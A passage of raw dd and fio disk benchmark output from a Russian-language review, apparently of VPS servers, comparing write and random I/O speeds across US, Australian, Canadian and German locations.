Блоками по 64K
```
32768+0 records in
32768+0 records out
2147483648 bytes (2.1 GB, 2.0 GiB) copied, 6.14213 s, 350 MB/s
```
**dd (США, Чикаго)**Блоками по 1M
```
2048+0 records in
2048+0 records out
2147483648 bytes (2.1 GB, 2.0 GiB) copied, 5.75075 s, 373 MB/s
```
Блоками по 64K
```
32768+0 records in
32768+0 records out
2147483648 bytes (2.1 GB, 2.0 GiB) copied, 5.78569 s, 371 MB/s
```
**dd (США, Даллас)**Блоками по 1M
```
2048+0 records in
2048+0 records out
2147483648 bytes (2.1 GB, 2.0 GiB) copied, 5.7069 s, 376 MB/s
```
Блоками по 64K
```
32768+0 records in
32768+0 records out
2147483648 bytes (2.1 GB, 2.0 GiB) copied, 5.60498 s, 383 MB/s
```
**dd (США, Лос-Анджелес)**Блоками по 1M
```
2048+0 records in
2048+0 records out
2147483648 bytes (2.1 GB, 2.0 GiB) copied, 12.9305 s, 166 MB/s
```
Блоками по 64K
```
32768+0 records in
32768+0 records out
2147483648 bytes (2.1 GB, 2.0 GiB) copied, 6.29062 s, 341 MB/s
```
**dd (США, Майами)**Блоками по 1M
```
2048+0 records in
2048+0 records out
2147483648 bytes (2.1 GB, 2.0 GiB) copied, 5.89201 s, 364 MB/s
```
Блоками по 64K
```
32768+0 records in
32768+0 records out
2147483648 bytes (2.1 GB, 2.0 GiB) copied, 5.74615 s, 374 MB/s
```
**dd (США, Нью-Йорк)**Блоками по 1M
```
2048+0 records in
2048+0 records out
2147483648 bytes (2.1 GB, 2.0 GiB) copied, 4.52842 s, 474 MB/s
```
Блоками по 64K
```
32768+0 records in
32768+0 records out
2147483648 bytes (2.1 GB, 2.0 GiB) copied, 4.94189 s, 435 MB/s
```
**dd (США, Сиэтл)**Блоками по 1M
```
2048+0 records in
2048+0 records out
2147483648 bytes (2.1 GB, 2.0 GiB) copied, 4.54416 s, 473 MB/s
```
Блоками по 64K
```
32768+0 records in
32768+0 records out
2147483648 bytes (2.1 GB, 2.0 GiB) copied, 5.68025 s, 378 MB/s
```
**dd (США, Сан-Хосе)**Блоками по 1M
```
2048+0 records in
2048+0 records out
2147483648 bytes (2.1 GB, 2.0 GiB) copied, 6.92419 s, 310 MB/s
```
Блоками по 64K
```
32768+0 records in
32768+0 records out
2147483648 bytes (2.1 GB, 2.0 GiB) copied, 8.11701 s, 265 MB/s
```
**fio (Австралия, Сидней)**Read
```
benchmark: (g=0): rw=randread, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=28589: Mon Dec 16 03:16:07 2019
read : io=7674.1MB, bw=130983KB/s, iops=32745, runt= 60001msec
clat (usec): min=1, max=13364, avg=240.17, stdev=183.78
lat (usec): min=2, max=13365, avg=240.76, stdev=183.79
clat percentiles (usec):
| 1.00th=[ 2], 5.00th=[ 3], 10.00th=[ 171], 20.00th=[ 193],
| 30.00th=[ 207], 40.00th=[ 221], 50.00th=[ 233], 60.00th=[ 247],
| 70.00th=[ 266], 80.00th=[ 290], 90.00th=[ 334], 95.00th=[ 374],
| 99.00th=[ 470], 99.50th=[ 540], 99.90th=[ 2864], 99.95th=[ 3408],
| 99.99th=[ 7008]
bw (KB /s): min=10904, max=23080, per=12.50%, avg=16375.51, stdev=1940.14
lat (usec) : 2=0.02%, 4=5.24%, 10=1.36%, 20=0.94%, 50=0.29%
lat (usec) : 100=0.02%, 250=53.43%, 500=37.99%, 750=0.42%, 1000=0.04%
lat (msec) : 2=0.05%, 4=0.18%, 10=0.03%, 20=0.01%
cpu : usr=1.87%, sys=5.83%, ctx=1816331, majf=2, minf=94
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=1964785/w=0/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
READ: io=7674.1MB, aggrb=130983KB/s, minb=130983KB/s, maxb=130983KB/s, mint=60001msec, maxt=60001msec
Disk stats (read/write):
vda: ios=1809446/9, merge=0/4, ticks=391072/0, in_queue=391128, util=98.07%
```
Write
```
benchmark: (g=0): rw=randwrite, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=28618: Mon Dec 16 03:18:14 2019
write: io=31535MB, bw=537932KB/s, iops=134482, runt= 60029msec
clat (usec): min=1, max=512047, avg=44.70, stdev=1034.85
lat (usec): min=1, max=512048, avg=47.33, stdev=1074.92
clat percentiles (usec):
| 1.00th=[ 2], 5.00th=[ 2], 10.00th=[ 2], 20.00th=[ 3],
| 30.00th=[ 3], 40.00th=[ 3], 50.00th=[ 3], 60.00th=[ 3],
| 70.00th=[ 3], 80.00th=[ 4], 90.00th=[ 4], 95.00th=[ 6],
| 99.00th=[ 18], 99.50th=[ 28], 99.90th=[15296], 99.95th=[19840],
| 99.99th=[30848]
bw (KB /s): min= 1, max=85640, per=12.68%, avg=68203.30, stdev=11017.32
lat (usec) : 2=0.12%, 4=77.58%, 10=19.53%, 20=2.07%, 50=0.27%
lat (usec) : 100=0.04%, 250=0.02%, 500=0.01%, 750=0.01%, 1000=0.01%
lat (msec) : 2=0.02%, 4=0.03%, 10=0.10%, 20=0.13%, 50=0.05%
lat (msec) : 100=0.01%, 250=0.01%, 500=0.01%, 750=0.01%
cpu : usr=2.64%, sys=7.81%, ctx=76430, majf=0, minf=83
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=0/w=8072876/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
WRITE: io=31535MB, aggrb=537931KB/s, minb=537931KB/s, maxb=537931KB/s, mint=60029msec, maxt=60029msec
Disk stats (read/write):
vda: ios=169/782742, merge=0/8447, ticks=1264/6814944, in_queue=6818788, util=98.98%
```
Direct read
```
benchmark: (g=0): rw=randread, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=28602: Mon Dec 16 03:17:14 2019
read : io=7471.5MB, bw=127506KB/s, iops=31876, runt= 60003msec
clat (usec): min=132, max=10029, avg=246.78, stdev=107.92
lat (usec): min=133, max=10030, avg=247.38, stdev=107.95
clat percentiles (usec):
| 1.00th=[ 159], 5.00th=[ 173], 10.00th=[ 183], 20.00th=[ 197],
| 30.00th=[ 209], 40.00th=[ 219], 50.00th=[ 231], 60.00th=[ 245],
| 70.00th=[ 262], 80.00th=[ 286], 90.00th=[ 326], 95.00th=[ 362],
| 99.00th=[ 446], 99.50th=[ 494], 99.90th=[ 884], 99.95th=[ 1752],
| 99.99th=[ 4960]
bw (KB /s): min=13352, max=17536, per=12.50%, avg=15943.78, stdev=782.58
lat (usec) : 250=63.11%, 500=36.43%, 750=0.33%, 1000=0.04%
lat (msec) : 2=0.04%, 4=0.02%, 10=0.03%, 20=0.01%
cpu : usr=1.84%, sys=4.97%, ctx=1916371, majf=0, minf=80
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=1912681/w=0/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
READ: io=7471.5MB, aggrb=127505KB/s, minb=127505KB/s, maxb=127505KB/s, mint=60003msec, maxt=60003msec
Disk stats (read/write):
vda: ios=1911024/10, merge=0/14, ticks=387936/0, in_queue=387700, util=99.79%
```
Direct write
```
benchmark: (g=0): rw=randwrite, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=28631: Mon Dec 16 03:19:15 2019
write: io=2116.3MB, bw=36114KB/s, iops=9028, runt= 60005msec
clat (usec): min=60, max=52275, avg=881.45, stdev=5188.98
lat (usec): min=60, max=52275, avg=882.13, stdev=5189.03
clat percentiles (usec):
| 1.00th=[ 67], 5.00th=[ 71], 10.00th=[ 74], 20.00th=[ 80],
| 30.00th=[ 85], 40.00th=[ 90], 50.00th=[ 95], 60.00th=[ 101],
| 70.00th=[ 109], 80.00th=[ 121], 90.00th=[ 161], 95.00th=[ 215],
| 99.00th=[36096], 99.50th=[38144], 99.90th=[41216], 99.95th=[42240],
| 99.99th=[44800]
bw (KB /s): min= 3169, max= 5891, per=12.51%, avg=4516.12, stdev=452.68
lat (usec) : 100=57.43%, 250=39.03%, 500=1.24%, 750=0.04%, 1000=0.01%
lat (msec) : 2=0.01%, 4=0.01%, 10=0.02%, 20=0.01%, 50=2.21%
lat (msec) : 100=0.01%
cpu : usr=0.61%, sys=2.76%, ctx=1095749, majf=0, minf=81
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=0/w=541749/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
WRITE: io=2116.3MB, aggrb=36113KB/s, minb=36113KB/s, maxb=36113KB/s, mint=60005msec, maxt=60005msec
Disk stats (read/write):
vda: ios=182/541139, merge=0/1556, ticks=100/47652, in_queue=47640, util=79.23%
```
**fio (Канада, Торонто)**Read
```
benchmark: (g=0): rw=randread, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=4579: Mon Dec 16 03:12:15 2019
read : io=12498MB, bw=213300KB/s, iops=53324, runt= 60001msec
clat (usec): min=1, max=12335, avg=146.68, stdev=110.17
lat (usec): min=1, max=12335, avg=147.24, stdev=110.17
clat percentiles (usec):
| 1.00th=[ 2], 5.00th=[ 2], 10.00th=[ 4], 20.00th=[ 135],
| 30.00th=[ 141], 40.00th=[ 147], 50.00th=[ 151], 60.00th=[ 155],
| 70.00th=[ 161], 80.00th=[ 169], 90.00th=[ 183], 95.00th=[ 201],
| 99.00th=[ 318], 99.50th=[ 422], 99.90th=[ 1832], 99.95th=[ 2024],
| 99.99th=[ 2672]
bw (KB /s): min=17680, max=35552, per=12.47%, avg=26605.05, stdev=3053.39
lat (usec) : 2=0.92%, 4=8.94%, 10=0.77%, 20=0.02%, 50=0.01%
lat (usec) : 100=0.13%, 250=87.61%, 500=1.28%, 750=0.05%, 1000=0.02%
lat (msec) : 2=0.21%, 4=0.05%, 10=0.01%, 20=0.01%
cpu : usr=2.33%, sys=5.24%, ctx=2863832, majf=2, minf=87
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=3199546/w=0/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
READ: io=12498MB, aggrb=213299KB/s, minb=213299KB/s, maxb=213299KB/s, mint=60001msec, maxt=60001msec
Disk stats (read/write):
vda: ios=2853531/9, merge=0/4, ticks=413816/0, in_queue=413848, util=97.93%
```
Write
```
benchmark: (g=0): rw=randwrite, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=4606: Mon Dec 16 03:14:20 2019
write: io=40568MB, bw=692123KB/s, iops=173030, runt= 60020msec
clat (usec): min=1, max=168030, avg=30.86, stdev=724.13
lat (usec): min=1, max=168030, avg=33.62, stdev=769.11
clat percentiles (usec):
| 1.00th=[ 2], 5.00th=[ 2], 10.00th=[ 2], 20.00th=[ 2],
| 30.00th=[ 2], 40.00th=[ 2], 50.00th=[ 2], 60.00th=[ 2],
| 70.00th=[ 3], 80.00th=[ 3], 90.00th=[ 3], 95.00th=[ 3],
| 99.00th=[ 4], 99.50th=[ 8], 99.90th=[11712], 99.95th=[16192],
| 99.99th=[27776]
bw (KB /s): min= 1, max=102488, per=12.60%, avg=87188.15, stdev=9025.40
lat (usec) : 2=0.15%, 4=98.40%, 10=1.00%, 20=0.07%, 50=0.06%
lat (usec) : 100=0.02%, 250=0.01%, 500=0.02%, 750=0.01%, 1000=0.01%
lat (msec) : 2=0.02%, 4=0.03%, 10=0.09%, 20=0.09%, 50=0.03%
lat (msec) : 100=0.01%, 250=0.01%
cpu : usr=4.36%, sys=6.42%, ctx=83149, majf=0, minf=75
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=0/w=10385305/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
WRITE: io=40568MB, aggrb=692122KB/s, minb=692122KB/s, maxb=692122KB/s, mint=60020msec, maxt=60020msec
Disk stats (read/write):
vda: ios=625/1328807, merge=0/8697, ticks=3072/7005192, in_queue=7008748, util=99.27%
```
Direct read
```
benchmark: (g=0): rw=randread, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=4593: Mon Dec 16 03:13:20 2019
read : io=11311MB, bw=193037KB/s, iops=48259, runt= 60001msec
clat (usec): min=75, max=8391, avg=162.37, stdev=140.17
lat (usec): min=76, max=8391, avg=162.94, stdev=140.17
clat percentiles (usec):
| 1.00th=[ 123], 5.00th=[ 131], 10.00th=[ 135], 20.00th=[ 141],
| 30.00th=[ 145], 40.00th=[ 149], 50.00th=[ 151], 60.00th=[ 157],
| 70.00th=[ 161], 80.00th=[ 169], 90.00th=[ 183], 95.00th=[ 199],
| 99.00th=[ 290], 99.50th=[ 406], 99.90th=[ 2192], 99.95th=[ 3120],
| 99.99th=[ 6432]
bw (KB /s): min=17560, max=26000, per=12.50%, avg=24134.45, stdev=1483.61
lat (usec) : 100=0.12%, 250=98.48%, 500=1.10%, 750=0.05%, 1000=0.02%
lat (msec) : 2=0.11%, 4=0.08%, 10=0.04%
cpu : usr=2.16%, sys=4.65%, ctx=2903321, majf=0, minf=73
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=2895610/w=0/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
READ: io=11311MB, aggrb=193037KB/s, minb=193037KB/s, maxb=193037KB/s, mint=60001msec, maxt=60001msec
Disk stats (read/write):
vda: ios=2892534/8, merge=0/5, ticks=434584/0, in_queue=434828, util=99.87%
```
Direct write
```
benchmark: (g=0): rw=randwrite, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=4621: Mon Dec 16 03:15:21 2019
write: io=2264.6MB, bw=38648KB/s, iops=9661, runt= 60002msec
clat (usec): min=51, max=256774, avg=824.62, stdev=6716.44
lat (usec): min=51, max=256775, avg=825.21, stdev=6716.44
clat percentiles (usec):
| 1.00th=[ 56], 5.00th=[ 57], 10.00th=[ 58], 20.00th=[ 60],
| 30.00th=[ 61], 40.00th=[ 63], 50.00th=[ 65], 60.00th=[ 67],
| 70.00th=[ 71], 80.00th=[ 89], 90.00th=[ 139], 95.00th=[ 203],
| 99.00th=[43264], 99.50th=[55552], 99.90th=[81408], 99.95th=[96768],
| 99.99th=[134144]
bw (KB /s): min= 1323, max= 8856, per=12.51%, avg=4835.55, stdev=1290.36
lat (usec) : 100=81.77%, 250=14.40%, 500=1.52%, 750=0.17%, 1000=0.17%
lat (msec) : 2=0.37%, 4=0.21%, 10=0.09%, 20=0.01%, 50=0.58%
lat (msec) : 100=0.66%, 250=0.04%, 500=0.01%
cpu : usr=0.45%, sys=1.61%, ctx=1167262, majf=0, minf=82
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=0/w=579733/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
WRITE: io=2264.6MB, aggrb=38647KB/s, minb=38647KB/s, maxb=38647KB/s, mint=60002msec, maxt=60002msec
Disk stats (read/write):
vda: ios=173/578889, merge=0/1547, ticks=252/52532, in_queue=52724, util=87.45%
```
**fio (Германия, Франкфурт)**Read
```
benchmark: (g=0): rw=randread, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=21959: Sat Dec 14 00:10:37 2019
read : io=7915.7MB, bw=135091KB/s, iops=33772, runt= 60001msec
clat (usec): min=1, max=15947, avg=231.15, stdev=202.63
lat (usec): min=2, max=15947, avg=232.04, stdev=202.68
clat percentiles (usec):
| 1.00th=[ 3], 5.00th=[ 9], 10.00th=[ 153], 20.00th=[ 175],
| 30.00th=[ 189], 40.00th=[ 201], 50.00th=[ 215], 60.00th=[ 229],
| 70.00th=[ 249], 80.00th=[ 278], 90.00th=[ 330], 95.00th=[ 386],
| 99.00th=[ 588], 99.50th=[ 940], 99.90th=[ 2704], 99.95th=[ 3152],
| 99.99th=[ 8256]
bw (KB /s): min=13072, max=22224, per=12.50%, avg=16885.51, stdev=1416.82
lat (usec) : 2=0.01%, 4=2.12%, 10=3.30%, 20=1.99%, 50=0.58%
lat (usec) : 100=0.02%, 250=62.14%, 500=28.13%, 750=1.10%, 1000=0.15%
lat (msec) : 2=0.21%, 4=0.23%, 10=0.02%, 20=0.01%
cpu : usr=2.90%, sys=7.72%, ctx=1870975, majf=2, minf=94
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=2026398/w=0/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
READ: io=7915.7MB, aggrb=135090KB/s, minb=135090KB/s, maxb=135090KB/s, mint=60001msec, maxt=60001msec
Disk stats (read/write):
vda: ios=1861991/9, merge=0/4, ticks=329328/0, in_queue=328932, util=98.13%
```
Write
```
benchmark: (g=0): rw=randwrite, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=21985: Sat Dec 14 00:12:43 2019
write: io=26172MB, bw=446593KB/s, iops=111648, runt= 60009msec
clat (usec): min=1, max=104202, avg=46.04, stdev=817.78
lat (usec): min=2, max=104203, avg=50.84, stdev=880.51
clat percentiles (usec):
| 1.00th=[ 2], 5.00th=[ 2], 10.00th=[ 3], 20.00th=[ 3],
| 30.00th=[ 3], 40.00th=[ 3], 50.00th=[ 3], 60.00th=[ 3],
| 70.00th=[ 3], 80.00th=[ 4], 90.00th=[ 5], 95.00th=[ 7],
| 99.00th=[ 18], 99.50th=[ 95], 99.90th=[14272], 99.95th=[18816],
| 99.99th=[28032]
bw (KB /s): min= 1, max=66344, per=12.64%, avg=56439.90, stdev=6246.70
lat (usec) : 2=0.01%, 4=74.88%, 10=21.89%, 20=2.34%, 50=0.31%
lat (usec) : 100=0.08%, 250=0.03%, 500=0.02%, 750=0.02%, 1000=0.01%
lat (msec) : 2=0.03%, 4=0.05%, 10=0.15%, 20=0.14%, 50=0.04%
lat (msec) : 100=0.01%, 250=0.01%
cpu : usr=4.84%, sys=5.78%, ctx=92604, majf=0, minf=74
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=0/w=6699905/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
WRITE: io=26172MB, aggrb=446593KB/s, minb=446593KB/s, maxb=446593KB/s, mint=60009msec, maxt=60009msec
Disk stats (read/write):
vda: ios=169/1517807, merge=0/10554, ticks=652/6860812, in_queue=6861820, util=98.12%
```
Direct read
```
benchmark: (g=0): rw=randread, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=21972: Sat Dec 14 00:11:43 2019
read : io=8536.2MB, bw=145672KB/s, iops=36417, runt= 60004msec
clat (usec): min=118, max=11287, avg=214.02, stdev=81.60
lat (usec): min=118, max=11288, avg=214.87, stdev=81.67
clat percentiles (usec):
| 1.00th=[ 143], 5.00th=[ 155], 10.00th=[ 163], 20.00th=[ 173],
| 30.00th=[ 183], 40.00th=[ 191], 50.00th=[ 201], 60.00th=[ 213],
| 70.00th=[ 227], 80.00th=[ 247], 90.00th=[ 278], 95.00th=[ 310],
| 99.00th=[ 398], 99.50th=[ 442], 99.90th=[ 628], 99.95th=[ 804],
| 99.99th=[ 3664]
bw (KB /s): min=14304, max=19464, per=12.50%, avg=18209.07, stdev=907.94
lat (usec) : 250=81.57%, 500=18.17%, 750=0.20%, 1000=0.03%
lat (msec) : 2=0.02%, 4=0.01%, 10=0.01%, 20=0.01%
cpu : usr=3.16%, sys=6.72%, ctx=2190379, majf=0, minf=81
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=2185219/w=0/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
READ: io=8536.2MB, aggrb=145671KB/s, minb=145671KB/s, maxb=145671KB/s, mint=60004msec, maxt=60004msec
Disk stats (read/write):
vda: ios=2182468/8, merge=0/5, ticks=399108/0, in_queue=398872, util=99.82%
```
Direct write
```
benchmark: (g=0): rw=randwrite, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=21998: Sat Dec 14 00:13:43 2019
write: io=2255.2MB, bw=38485KB/s, iops=9621, runt= 60005msec
clat (usec): min=65, max=42951, avg=825.62, stdev=4606.39
lat (usec): min=65, max=42951, avg=826.56, stdev=4606.42
clat percentiles (usec):
| 1.00th=[ 71], 5.00th=[ 74], 10.00th=[ 75], 20.00th=[ 79],
| 30.00th=[ 83], 40.00th=[ 88], 50.00th=[ 93], 60.00th=[ 98],
| 70.00th=[ 105], 80.00th=[ 114], 90.00th=[ 133], 95.00th=[ 161],
| 99.00th=[30336], 99.50th=[31616], 99.90th=[34048], 99.95th=[35072],
| 99.99th=[38144]
bw (KB /s): min= 3420, max= 6336, per=12.51%, avg=4815.62, stdev=460.55
lat (usec) : 100=62.03%, 250=35.23%, 500=0.26%, 750=0.01%, 1000=0.01%
lat (msec) : 2=0.01%, 4=0.01%, 10=0.01%, 20=0.01%, 50=2.45%
cpu : usr=1.02%, sys=3.03%, ctx=1169418, majf=0, minf=67
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=0/w=577318/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
WRITE: io=2255.2MB, aggrb=38484KB/s, minb=38484KB/s, maxb=38484KB/s, mint=60005msec, maxt=60005msec
Disk stats (read/write):
